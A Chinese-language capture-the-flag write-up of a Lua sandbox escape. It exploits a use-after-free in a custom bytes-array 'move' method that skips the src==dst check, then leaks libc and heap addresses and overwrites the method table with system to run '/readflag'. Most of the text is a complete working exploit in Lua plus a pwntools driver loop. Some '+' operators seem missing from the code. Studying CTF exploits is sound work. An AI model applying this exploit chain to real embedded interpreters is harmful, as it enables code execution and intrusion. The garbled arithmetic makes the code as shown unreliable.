- 题面
- 分析
- 漏洞点
- 利用思路
- EXP
- 后记
题面
虽然没参加这个比赛,但是看Cor1e发了这个题有点意思就做了下,听说比赛的时候没解...
出题人加了个新的数据类型到里面,并且ban了一些builtin的东西,让攻击者尝试沙盒逃逸
分析
漏洞点
- 注册给
barray
的move
方法没有校验src
和dst
的对象是否相同
利用思路
- 直接
new
没有初始化内存,可以地址泄露 move
方法正常情况下会清空是src对象的size和buf,free掉dst的buf,将src和size和buf复制到dst上。但是当dst==src
的时候等价于只free了dst的buf,其它没有任何变化,这样就发生了UAF。通过UAF控制某个obj的结构体就可以完成指针劫持和类型混淆之类的攻击手段- 刚开始想的是能够造任意地址写那一套,然后用glibc八股打法来着,但是get和set前面都加了个很恶心的checker,会在写bytes array前检查buf的heap元数据,导致了有些非法地址不能随便写,如果要写起码也要伪造或碰巧存在一个合适的size字段
- 最后折腾了一大通,打算摸索一下能不能劫持一些从
Lua
层到C
层的方法调用。因为luaopen_bytearr
中为barray
类型注册了一个方法列表——类似面向对象,只不过这里的方法全都注册到一个table
上(table是Lua的精华)。于是我猜测最终这个表会和普通table一样注册到heap上某个位置...
- 又折腾了一通终于找到这个table了
- 表中有很多个方法,一开始打算全劫持了100%触发,但是变更源代码会影响初始堆布局,懒得堆风水那么多了,只劫持了其中一部分,然后调用
copy
方法 - 虽然有一定概率可以触发到system,但是rdi是不能控制的,因为第一个参数会被统一传入
lua_State *L
。不过比较巧的是调用copy方法时rdi指向的区域附近有个0x661
常量,可以当作一个合法size,于是通过任意地址写写上题目要求的/readflag
参数 - 循环跑一下很快就有
system('/readflag')
了
EXP
大概1/3
的概率打通:
- exp.lua
-- /readflag
barr = bytes.new(1)
function get_int64(obj, off)
res = 0
for i=0,7,1 do
res = res (obj.get(obj, i off) << (i*8))
end
return res;
end
function set_int64(obj, off, val)
--print(val)
for i=0,7,1 do
tmp = (math.floor(val) >> i*8) & 0xff
obj.set(obj, i off, tmp)
end
end
-- leak libc addr
t1 = {}
a = bytes.new(0x4b0)
bytes.new(0x10) -- gap
barr.move(a, barr)
a = bytes.new(0x410)
print("a: "..barr.str(a))
libc_leak = get_int64(a, 0)
libc_base = libc_leak - 0x1faf10
pointer_guard = libc_base - 0x103890
system = libc_base 0x4f230
binsh = libc_base 0x1bd115
dtor_list_entry = libc_base 0x1faaa0
print(string.format("libc_leak: 0x%x", libc_leak))
print(string.format("libc_base: 0x%x", libc_base))
print(string.format("pointer_guard: 0x%x", pointer_guard))
print(string.format("system: 0x%x", system))
print(string.format("binsh: 0x%x", binsh))
print(string.format("dtor_list_entry: 0x%x", dtor_list_entry))
-- leak heap addr
b = bytes.new(0x20)
barr.move(b, barr)
b = bytes.new(0x20)
print("b: "..barr.str(b))
heap_base = (get_int64(b, 0) << 12) - 0x8000
print(string.format("heap_base: 0x%x", heap_base))
-- construct a restricted arbitrary address write
target_barray = heap_base 0x86c0
for i=0,8,1 do
bytes.new(0x38)
end
c1 = bytes.new(0x38)
set_int64(c1, 0, 0x41414141)
barr.move(c1, c1)
-- c2 obj is the bytes array buf of c1 obj
c2 = bytes.new(0xb8)
set_int64(c1, 0x28, heap_base 0x3870)
--[[
func1 = get_int64(c2, 0)
func1_flags = get_int64(c2, 8)
print(string.format("func1: 0x%x", func1))
print(string.format("func1_flags: 0x%x", func1_flags))
--]]
-- write system to barray method table
set_int64(c2, 0x18*0, system)
set_int64(c2, 0x18*1, system)
set_int64(c2, 0x18*2, system)
set_int64(c2, 0x18*3, system)
set_int64(c2, 0x18*4, system)
set_int64(c2, 0x18*5, system)
set_int64(c2, 0x18*6, system)
set_int64(c1, 0x28, heap_base 0x2a0)
-- rdi => /readflag
set_int64(c2, 0x8, 0x616c66646165722f)
set_int64(c2, 0x10, 0x67)
-- try trigger system("/readflag")
barr.copy(c1, c2)
-- find /g 0x5555555a7000, 0x20000,0x555555554000 0x39E10
-- method table: 0x00005555555aa870
-- Time given to breakpoint
--[[while(true)
do
nostop = 1
end--]]
- exp.py
from pwn import *
import os
context.arch = "amd64"
context.log_level = "debug"
def exp():
p = process(["./lua", "-"], env={"LD_PRELOAD":"./libc.so.6"})
with open("./exp.lua", "rb") as f:
payload = f.read()
#gdb.attach(p, "b *0x7ffff7e00230ncn")
#gdb.attach(p, "b *0x555555554000 0x39d85ncn")
payload = b"--"
payload = payload.ljust(0x5000, b"x")
p.send(payload)
p.shutdown('send')
#gdb.attach(p)
p.interactive()
def exp_remote():
while True:
p = process(["./lua", "-"], env={"LD_PRELOAD":"./libc.so.6"})
with open("./exp.lua", "rb") as f:
payload = f.read()
payload = b"--"
payload = payload.ljust(0x5000, b"x")
p.send(payload)
p.shutdown('send')
try:
part1 = p.recvuntil(b"flag{", timeout=1)
print("### flag is: ", part1[-5:] p.recvuntil(b"}"), "###")
p.close()
break
except:
print("no flag")
if __name__ == "__main__":
#exp()
exp_remote()
后记
最近破事太多了,越调越烦